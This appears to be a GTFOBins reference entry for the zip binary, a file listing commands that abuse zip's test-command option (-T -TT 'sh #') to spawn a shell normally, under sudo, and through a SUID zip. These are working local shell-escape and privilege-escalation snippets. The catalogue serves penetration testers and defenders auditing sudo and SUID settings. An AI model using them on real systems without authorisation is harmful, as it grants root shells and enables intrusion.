GTFOBins.github.io/_gtfobins/zip.md
2018-08-19 11:32:48 +01:00

19 lines
373 B
Markdown

---
functions:
execute-interactive:
- code: |
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
sudo-enabled:
- code: |
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
suid-limited:
- code: |
TF=$(mktemp -u)
./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
---